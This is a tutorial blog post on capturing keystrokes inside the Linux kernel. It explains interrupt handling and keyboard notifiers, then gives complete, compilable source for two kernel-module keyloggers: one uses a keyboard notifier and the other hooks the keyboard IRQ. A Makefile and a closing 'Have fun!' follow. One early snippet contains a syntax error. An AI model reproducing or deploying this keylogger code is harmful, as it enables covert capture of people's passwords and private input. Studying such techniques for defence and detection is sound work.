Laptop Bed2
In Complete Guide to Keylogging in Linux: Part 1 and Complete Guide to Keylogging in Linux: Part 2, we covered how a keylogger can be written for Linux in userland. Today, we will cover techniques to capture keyboard events in Linux kernel.

Linux Kernel & Keyboard

 A slightly detailed diagram of keyboard handling is given below.
 


    +---------------------+             +-----------+  (2)  +----------+
    |     USER LAND       |             | Interrupt | ----->| Keyboard |
    +---------------------+   +--=----->|  Handler  |<----- | Notifier |
                   ^          |         +-------+---+  (3)  +----------+
       keycode /   |          |                 |
     scancode      |          |                 |
               (5) |          |(1)              |(4)
                   |          |                 |
                   |          |                 |
                +--+----------+--+              |
                |                |<--------=----+
                |     KERNEL     |                      Interrupt
                |                |<---------=---------------------+
                +----------------+                                |
                                                                  |
    +----------+     USB, PS/2      +-------------+ PCI, ...   +-----+
    | keyboard |------------------->| motherboard |----------->| CPU |
    +----------+    key up/down     +-------------+            +-----+
 
The kernel sets up interrupt handlers by populating Interrupt Descriptor Table, and passing it to CPU (so CPU knows which routine to call on any given interrupt). The kernel also provides a keyboard notification system, which accepts objects of **notifier_block** from other kernel modules; and calls corresponding callbacks on every keyboard event.
 

Interrupt Handling

What Is an Interrupt?

 An interrupt is an event that alters the normal execution flow of a program and can be generated by hardware devices or even by the CPU itself.
 
Interrupts can be grouped into two categories based on the source of the interrupt:
 
- synchronous, generated by executing an instruction
- asynchronous, generated by an external event
 
Or,
 
- maskable
    - can be ignored
    - signalled via INT pin
- non-maskable
    - cannot be ignored
    - signalled via NMI pin
 

Interrupts at Hardware Level

Generally, devices that raise interrupts are not directly connected to CPU. Hardware uses a special component called Programmable Interrupt Controller (PIC), that assists the CPU by taking interrupts from multiple devices, and supplying to CPU in suitable format. The basic scheme looks something like this: 

    +-------------+
    |             |     NMI
    |             |<---------------    |             |
    |     CPU     |                 +-------------+    irq 0
    |             |     INTR        |             |<----------- Device 0
    |             |<----------------+             |    irq 1
    |             |                 |             |<----------- Device 1
    +-------------+                 |     PIC     |
                                    |             |    irq N
                                    |             |<----------- Device N
                                    |             |
                                    +-------------+
 
At more realistic level, instead of having one PIC talking to one CPU; we generally have one Advanced Programmable Interrupt Controller (which interfaces with I/O devices), and one local APIC per core to deal with locally connected devices like thermal sensors, or timers. This scheme looks something like this:
 


           |                               |                               |
           | Local                         | Local                         | Local
           | IRQ                           | IRQ                           | IRQ
           |                               |                               |
           |                               |                               |
    +------+------+                 +------+------+                 +------+------+
    |             |                 |             |                 |             |
    |             |                 |             |                 |             |
    |             |                 |             |                 |             |
    |    CPU 0    |                 |    CPU 1    |                 |    CPU N    |
    |             |                 |             |                 |             |
    |             |                 |             |                 |             |
    | local APIC  |                 | local APIC  |                 | local APIC  |
    +-------------+                 +-------------+                 +-------------+
          ^^                              ^^                              ^^
          || INT                          || INT                          || INT
          ||                              ||                              ||
          || 0-N                          || 0-N                          || 0-N
          ||                              ||                              ||
          vv                              vv                              vv
    +-----------------------------------------------------------------------------+
    |                  Interrupt Controller Communication Bus                     |
    +-----------------------------------------------------------------------------+
                                           ^
                                           |
                                           |
                                           |
                External        +----------+--------+
            ------------------->|      I/O APIC     |
                Interrupts      +-------------------+
 
External devices are interfaced with I/O APIC, which takes interrupts from them, and passes to some CPU core (depending upon how IRQs are scheduled) to handle it. This happens in roughly following manner:
 
- Some device raises IRQ pin to trigger interrupt.
- APIC converts the IRQ into a vector number and writes it to a port for CPU core to read
- APIC raises an interrupt on INTR pin
- APIC waits for CPU to acknowledge an interrupt
- CPU handles the interrupt (or maybe drops/ignores it).
 

Interrupts at Software Level

Although interrupts can be handled at device level and (A)PIC levels as well, we will limit ourselves to handling on CPU. Once a CPU gets an interrupt request, it does the following:
 
- It checks current execution privilege.
- If privilege needs to be changed, it switches to stack with required privilege. Information of old stack is copied into new stack (this will be used to revert back to older stack).
- Takes backup of CPU state for context switching (registers, error codes etc); and changes context.
- It looks into IDTR register to find location of IDT
- It uses interrupt vector number as key, and finds starting address of corresponding handler by using jump table in IDT; and address translations.
- Executes the interrupt handler.
- Returns from interrupt handler (IRET)
    - Restores registers and error codes
    - Switches back to previous privilege
    
In Linux, interrupts are generally handled in three phases (not all interrupt handlers will have all three):
 
1. Kernel will disable local interrupts, and acknowledge the interrupt request. Kernel will run a generic interrupt handler, which will determine interrupt number, the interrupt handler for this particular interrupt and interrupt controller. Why is this necessary? Because same interrupt request may be shared by multiple devices. Such interrupts are called shared interrupts.
2. All associated handlers from corresponding device drivers will be executed. A special "end of interrupt" is called at end of this chain; so that control can be re-asserted by interrupt controller. The local processor interrupts remain disabled at this stage.
3. At this stage local interrupts on processor will be enabled. All deferred interrupt context actions will be executed here.
 
Deferred actions are used to run callback functions at a later time. If deferrable actions scheduled from an interrupt handler, the associated callback function will run after the interrupt handler has completed.
 

Keyboard Notifier 

The keyboard notifier calls the callbacks, and passes data in format of **keyboard_notifier_param**, which is defined as below:
 

struct keyboard_notifier_param {
struct vc_data *vc;
int down;
int shift;
int ledstate;
unsigned int value;
};
where:
 
- vc always provide the virtual console for which the keyboard event applies;
- down is 1 for a key press event, 0 for a key release;
- shift is the current modifier state, mask bit indexes are KG_*;
- value depends on the type of event.
    - **KBD_KEYCODE** events are always sent before other events, value is the keycode.
    - **KBD_UNBOUND_KEYCODE** events are sent if the keycode is not bound to a keysym. value is the keycode.
    - **KBD_UNICODE** events are sent if the keycode -> keysym translation produced a unicode character. value is the unicode value.
    - **KBD_KEYSYM** events are sent if the keycode -> keysym translation produced a non-unicode character. value is the keysym.
    - **KBD_POST_KEYSYM** events are sent after the treatment of non-unicode keysyms. That permits one to inspect the resulting LEDs for instance.
 
For more details, you can refer to kbd_keycode() in drivers/tty/vt/keyboard.c.
 

Keylogging in Kernel

There are two ways to capture keyboard events in kernel: we can either use keyboard notifier; or install our own interrupt request handler.
 

By Using Keyboard Notifier 

- Register own keyboard notifier block.
- In callback, check for KBD_KEYCODE events, and extract keycode.
- Convert keycode to readable string (by mapping to standard EN-US keyboard map)
 
The event notification callback can be written as shown below:
 

int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;
 
    if (!(param->down)) return NOTIFY_OK;
 
    keycode_to_string(param->value, param->shift, keybuf, 12);
 
    if (strlen(keybuf); < 1) return NOTIFY_OK;
 
    printk(KERN_INFO "Keylog: %s", keybuf);
 
    return NOTIFY_OK;
}
 

This handler can be registered at load time (and unregistered at unload time), as shown below:


static struct notifier_block keysniffer_blk = {
        .notifier_call = keyboard_event_handler,
};
 
static int __init keylogger_init(void)
{
        register_keyboard_notifier(&keysniffer_blk);
        return 0;
}
 
static void __exit keylogger_exit(void)
{
        unregister_keyboard_notifier(&keysniffer_blk);
}
The incoming keycodes can be mapped to corresponding keys using a mapping. Refer to complete listing at end of the article for a reference implementation.
 

By Installing Own Interrupt Handler

Since it is possible to have multiple interrupt request handlers, let us try to do exactly that. The basic logic will be as follows:
 
- Install own interrupt handler
- Capture keycode from keyboard.
- Map keycode to key name.
- Log it somewhere.
 
But now, there is a problem: we should not be performing the logging part as part of request handler itself (interrupts like to be fast, and do not want to get blocked). This is where deferred actions are useful: we can have a deferred action, which will log the captured data for us; once the interrupt handler has done its job. We will be using something called "tasklet", which is basically a function that will run in interrupt context.
 
Since we are working at really low level here, we also have to deal with extracting keycode on our own. Since most of the keyboards in laptops (and that is all I have) use PS/2 interface to talk to host, we will limit to those.
 
PS/2 keyboards generally use two ports to communicate with host:
 
- 0x60  Data Register       (Read\Write)
- 0x64  Command Register    (Read\Write)
 
Since we are interested in keypress events, the keycode will be data; and therefore we can get keycode if we read from port 0x60 in our interrupt handler.
 
We can write a minimal IRQ handler as shown below:


irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    scancode = inb(0x60);
    return (irq_handler_t)IRQ_HANDLED;
}
The tasklet can be defined as shown below:
void tasklet_logger(unsigned long dummy)
{
    ...
}
 
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
Now we can register our tasklet and IRQ handlers as shown below:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    data.scancode = inb(0x60);
    tasklet_schedule(&my_tasklet);
    return (irq_handler_t)IRQ_HANDLED;
}
 
static int __init kb_init(void)
{
    int ret;
 
    ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
    if(ret != 0){
            printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
    }
 
    return ret;
}
 
static void __exit kb_exit(void)
{
    tasklet_kill(&my_tasklet);
    free_irq(KB_IRQ, &data);
}

Complete Source Code 

For sake of completeness (and because I promised to provide reference implementation), here are the codes.
 

Keylogger Using Keyboard Notifier


#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>
 
MODULE_LICENSE("GPL");
 
static const char *us_keymap[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},       // 0-3
    {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},                 // 4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                 // 8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},         // 12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                 // 20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                 // 24-27
    {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"},   // 28-31
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                 // 32-35
    {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},                 // 36-39
    {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
    {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},                 // 44-47
    {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},                 // 48-51
    {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
    {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
    {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},         // 60-63
    {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},         // 64-67
    {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"},   // 68-70
    {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
    {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"},         // 74-76
    {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},         // 77-79
    {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
    {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"},      // 83-85
    {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"},     // 86-89
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
    {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
    {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"},   // 99-101
    {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"},   // 102-104
    {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
    {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"},   // 108-110
    {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},   // 111-114
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},         // 115-118
    {"_PAUSE_", "_PAUSE_"},                                         // 119
};
 
void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size)
{
    if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
    {
        const char *us_key = (shift_mask == 1)
                                ? us_keymap[keycode][1]
                                : us_keymap[keycode][0];
 
        snprintf(buf, buf_size, "%s", us_key);
    }
}
 
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;
 
    if (!(param->down)) return NOTIFY_OK;
 
    keycode_to_string(param->value, param->shift, keybuf, 12);
 
    if (strlen(keybuf) < 1) return NOTIFY_OK;
 
    printk(KERN_INFO "Keylog: %s", keybuf);
 
    return NOTIFY_OK;
}
 
static struct notifier_block keysniffer_blk = {
    .notifier_call = keyboard_event_handler,
};
 
static int __init keylogger_init(void)
{
    register_keyboard_notifier(&keysniffer_blk);
    return 0;
}
 
static void __exit keylogger_exit(void)
{
    unregister_keyboard_notifier(&keysniffer_blk);
}
 
module_init(keylogger_init);
module_exit(keylogger_exit);

Keylogger Using Custom Keyboard Interrupt Handler 



#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>
 
#define KB_IRQ 1
 
struct logger_data{
    unsigned char scancode;
} data;
 
void tasklet_logger(unsigned long dummy)
{
    static int shift = 0;
 
    char buf[32];
    memset(buf, 0, sizeof(buf));
    switch(data.scancode){
        default: return;
 
        case 1: strcpy(buf, "(ESC)"); break;
        case 2: strcpy(buf, (shift) ? "!" : "1"); break;
        case 3: strcpy(buf, (shift) ? "@" : "2"); break;
        case 4: strcpy(buf, (shift) ? "#" : "3"); break;
        case 5: strcpy(buf, (shift) ? "$" : "4"); break;
        case 6: strcpy(buf, (shift) ? "%" : "5"); break;
        case 7: strcpy(buf, (shift) ? "^" : "6"); break;
        case 8: strcpy(buf, (shift) ? "&" : "7"); break;
        case 9: strcpy(buf, (shift) ? "*" : "8"); break;
        case 10: strcpy(buf, (shift) ? "(" : "9"); break;
        case 11: strcpy(buf, (shift) ? ")" : "0"); break;
        case 12: strcpy(buf, (shift) ? "_" : "-"); break;
        case 13: strcpy(buf, (shift) ? "+" : "="); break;
        case 14: strcpy(buf, "(BACK)"); break;
        case 15: strcpy(buf, "(TAB)"); break;
        case 16: strcpy(buf, (shift) ? "Q" : "q"); break;
        case 17: strcpy(buf, (shift) ? "W" : "w"); break;
        case 18: strcpy(buf, (shift) ? "E" : "e"); break;
        case 19: strcpy(buf, (shift) ? "R" : "r"); break;
        case 20: strcpy(buf, (shift) ? "T" : "t"); break;
        case 21: strcpy(buf, (shift) ? "Y" : "y"); break;
        case 22: strcpy(buf, (shift) ? "U" : "u"); break;
        case 23: strcpy(buf, (shift) ? "I" : "i"); break;
        case 24: strcpy(buf, (shift) ? "O" : "o"); break;
        case 25: strcpy(buf, (shift) ? "P" : "p"); break;
        case 26: strcpy(buf, (shift) ? "{" : "["); break;
        case 27: strcpy(buf, (shift) ? "}" : "]"); break;
        case 28: strcpy(buf, "(ENTER)"); break;
        case 29: strcpy(buf, "(CTRL)"); break;
        case 30: strcpy(buf, (shift) ? "A" : "a"); break;
        case 31: strcpy(buf, (shift) ? "S" : "s"); break;
        case 32: strcpy(buf, (shift) ? "D" : "d"); break;
        case 33: strcpy(buf, (shift) ? "F" : "f"); break;
        case 34: strcpy(buf, (shift) ? "G" : "g"); break;
        case 35: strcpy(buf, (shift) ? "H" : "h"); break;
        case 36: strcpy(buf, (shift) ? "J" : "j"); break;
        case 37: strcpy(buf, (shift) ? "K" : "k"); break;
        case 38: strcpy(buf, (shift) ? "L" : "l"); break;
        case 39: strcpy(buf, (shift) ? ":" : ";"); break;
        case 40: strcpy(buf, (shift) ? "\"" : "'"); break;
        case 41: strcpy(buf, (shift) ? "~" : "`"); break;
        case 42:
        case 54: shift = 1; break;
        case 170:
        case 182: shift = 0; break;
        case 44: strcpy(buf, (shift) ? "Z" : "z"); break;
        case 45: strcpy(buf, (shift) ? "X" : "x"); break;
        case 46: strcpy(buf, (shift) ? "C" : "c"); break;
        case 47: strcpy(buf, (shift) ? "V" : "v"); break;
        case 48: strcpy(buf, (shift) ? "B" : "b"); break;
        case 49: strcpy(buf, (shift) ? "N" : "n"); break;
        case 50: strcpy(buf, (shift) ? "M" : "m"); break;
        case 51: strcpy(buf, (shift) ? "<" : ","); break;
        case 52: strcpy(buf, (shift) ? ">" : "."); break;
        case 53: strcpy(buf, (shift) ? "?" : "/"); break;
        case 56: strcpy(buf, "(R-ALT"); break;
        case 55:
        case 57:
        case 58:
        case 59:
        case 60:
        case 61:
        case 62:
        case 63:
        case 64:
        case 65:
        case 66:
        case 67:
        case 68:
        case 70:
        case 71:
        case 72: strcpy(buf, " "); break;
        case 83:
        strcpy(buf, "(DEL)"); break;
    }
    printk(KERN_INFO "keylogger log: %s", buf);
}
 
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
 
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
        data.scancode = inb(0x60);
 
        tasklet_schedule(&my_tasklet);
        return (irq_handler_t)IRQ_HANDLED;
}
 
static int __init kb_init(void)
{
        int ret;
        printk(KERN_INFO "keylogger: initializing...");
 
        ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
        if(ret != 0){
                printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
        }
 
        printk(KERN_INFO "keylogger: initialization complete.");
 
        return ret;
}
 
static void __exit kb_exit(void)
{
        tasklet_kill(&my_tasklet);
 
        free_irq(KB_IRQ, &data);
 
        printk(KERN_INFO "keylogger: unloaded.");
}
 
MODULE_LICENSE("GPL");
 
module_init(kb_init);
module_exit(kb_exit);
You can use the following makefile to compile these:
 

obj-m += keylogger.o
 
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
 
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Have fun!
 

About the Author

Adhokshaj Mishra works as a security researcher (malware - Linux) at Uptycs. His interest lies in offensive and defensive side of Linux malware research. He has been working on attacks related to containers, kubernetes; and various techniques to write better malware targeting Linux platform. In his free time, he loves to dabble into applied cryptography, and present his work in various security meetups and conferences.